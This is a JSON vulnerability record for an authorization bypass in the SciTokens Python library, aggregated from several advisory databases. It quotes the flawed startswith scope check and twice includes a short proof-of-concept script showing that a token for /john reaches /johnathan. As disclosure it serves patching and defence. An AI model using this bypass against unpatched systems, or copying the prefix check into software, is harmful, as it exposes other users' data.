{"id":"CVE-2026-32716","aliases":["EUVD-2026-17294","GHSA-w8fp-g9rh-34jh","PYSEC-2026-2276","openSUSE-SU-2026:10491-1"],"status":"published","title":"SciTokens: Authorization Bypass via Incorrect Scope Path Prefix Checking","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00396,"percentile":0.34129,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-285"],"published":"2026-03-31T01:31:44Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"PyPI","package":"scitokens","fixed_in":["1.9.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"scitokens","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}]},{"source":"osv","ecosystem":"PyPI","package":"scitokens","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}],"versions":["0.1","0.1.1","0.1.3","0.1.4","0.1.5","0.1.6","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","1.0.0","1.0.1","1.0.2","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.4","1.3.1","1.4.0","1.5.0","1.6.0","1.6.2","1.7.0","1.7.1","1.7.2","1.7.4","1.8.0","1.8.1"]},{"source":"osv","ecosystem":"PyPI","package":"scitokens","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}],"versions":["0.1","0.1.1","0.1.3","0.1.4","0.1.5","0.1.6","0.2.1","0.2.2","0.3.0","0.3.1","0.3.2","0.3.3","1.0.0","1.0.1","1.0.2","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.2.4","1.3.1","1.4.0","1.5.0","1.6.0","1.6.2","1.7.0","1.7.1","1.7.2","1.7.4","1.8.0","1.8.1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-scitokens","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.1-2.1"}]}],"bundled":3}],"products":[{"vendor":"scitokens","product":"scitokens"},{"vendor":"scitokens","product":"scitokens_library"}],"references":[{"url":"https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/scitokens/scitokens/releases/tag/v1.9.6","tags":["x_refsource_MISC","Release Notes","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32716","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w8fp-g9rh-34jh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32716.json","tags":["advisory"]},{"url":"https://github.com/scitokens/scitokens","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32714","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32716","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32727","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-32716","title":"SciTokens: Authorization Bypass via Incorrect Scope Path Prefix Checking","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","status":"published","published":"2026-03-31T01:31:44.35Z","modified":"2026-03-31T15:30:14.705Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-17294","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","status":"published","published":"2026-03-31T01:31:44Z","modified":"2026-03-31T15:30:14Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:24.891983Z"}],"ghsa":[{"id":"GHSA-w8fp-g9rh-34jh","title":"SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking","description":"### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n    for scope in value:\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n    for scope in value.split(\" \"):\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n    \"\"\"\n    Demonstrate an Authorization Bypass vulnerability in scope path checking.\n    \"\"\"\n    print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n    \n    issuer = \"https://scitokens.org/unittest\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Create a token with access to /john\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/john\"\n    \n    print(f\"Authorized path in scope: /john\")\n    \n    # 1. Test access to /john/file (should be allowed)\n    print(f\"[1] Testing legitimate subpath: /john/file\")\n    if enforcer.test(token, 'read', '/john/file'):\n        print(\"    -\u003e Access GRANTED (Correct behavior)\")\n    else:\n        print(\"    -\u003e Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n    # 2. Test access to /johnathan (SHOULD BE DENIED)\n    print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n    if enforcer.test(token, 'read', '/johnathan'):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\n    # 3. Test access to /johnny (SHOULD BE DENIED)\n    print(f\"[3] Testing illegitimate sibling path: /johnny\")\n    if enforcer.test(token, 'read', '/johnny'):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n    # Ensure scitokens from src/ is available\n    sys.path.insert(0, \"src\")\n    poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.","status":"published","published":"2026-03-31T22:51:03Z","modified":"2026-03-31T22:51:03Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:39:47.075804Z"}],"nvd":[{"id":"CVE-2026-32716","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","status":"published","published":"2026-03-31T03:15:57.143Z","modified":"2026-06-17T10:36:15.713Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T14:12:12.261218Z"}],"osv":[{"id":"CVE-2026-32716","title":"SciTokens: Authorization Bypass via Incorrect Scope Path Prefix Checking","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","status":"published","published":"2026-03-31T01:31:44.35Z","modified":"2026-10-28T02:30:38.015336837Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-w8fp-g9rh-34jh","title":"SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking","description":"### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n    for scope in value:\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n    for scope in value.split(\" \"):\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n    \"\"\"\n    Demonstrate an Authorization Bypass vulnerability in scope path checking.\n    \"\"\"\n    print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n    \n    issuer = \"https://scitokens.org/unittest\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Create a token with access to /john\n    token = scitokens.SciToken()\n    token['iss'] = issuer\n    token['scope'] = \"read:/john\"\n    \n    print(f\"Authorized path in scope: /john\")\n    \n    # 1. Test access to /john/file (should be allowed)\n    print(f\"[1] Testing legitimate subpath: /john/file\")\n    if enforcer.test(token, 'read', '/john/file'):\n        print(\"    -\u003e Access GRANTED (Correct behavior)\")\n    else:\n        print(\"    -\u003e Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n    # 2. Test access to /johnathan (SHOULD BE DENIED)\n    print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n    if enforcer.test(token, 'read', '/johnathan'):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\n    # 3. Test access to /johnny (SHOULD BE DENIED)\n    print(f\"[3] Testing illegitimate sibling path: /johnny\")\n    if enforcer.test(token, 'read', '/johnny'):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n    # Ensure scitokens from src/ is available\n    sys.path.insert(0, \"src\")\n    poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.","status":"published","published":"2026-03-31T22:51:03Z","modified":"2026-07-13T07:26:51.235264032Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-285"],"updated_at":"2026-11-02T15:46:58.401149Z"},{"id":"PYSEC-2026-2276","description":"SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass. This issue has been patched in version 1.9.6.","status":"published","published":"2026-03-31T03:15:57.143Z","modified":"2026-07-13T07:15:42.279003548Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"openSUSE-SU-2026:10491-1","title":"python311-scitokens-1.8.1-2.1 on GA media","description":"These are all security issues fixed in the python311-scitokens-1.8.1-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-04-04T00:00:00Z","modified":"2026-04-05T10:33:30.271581Z","updated_at":"2026-11-02T16:58:38.415593Z"}]}}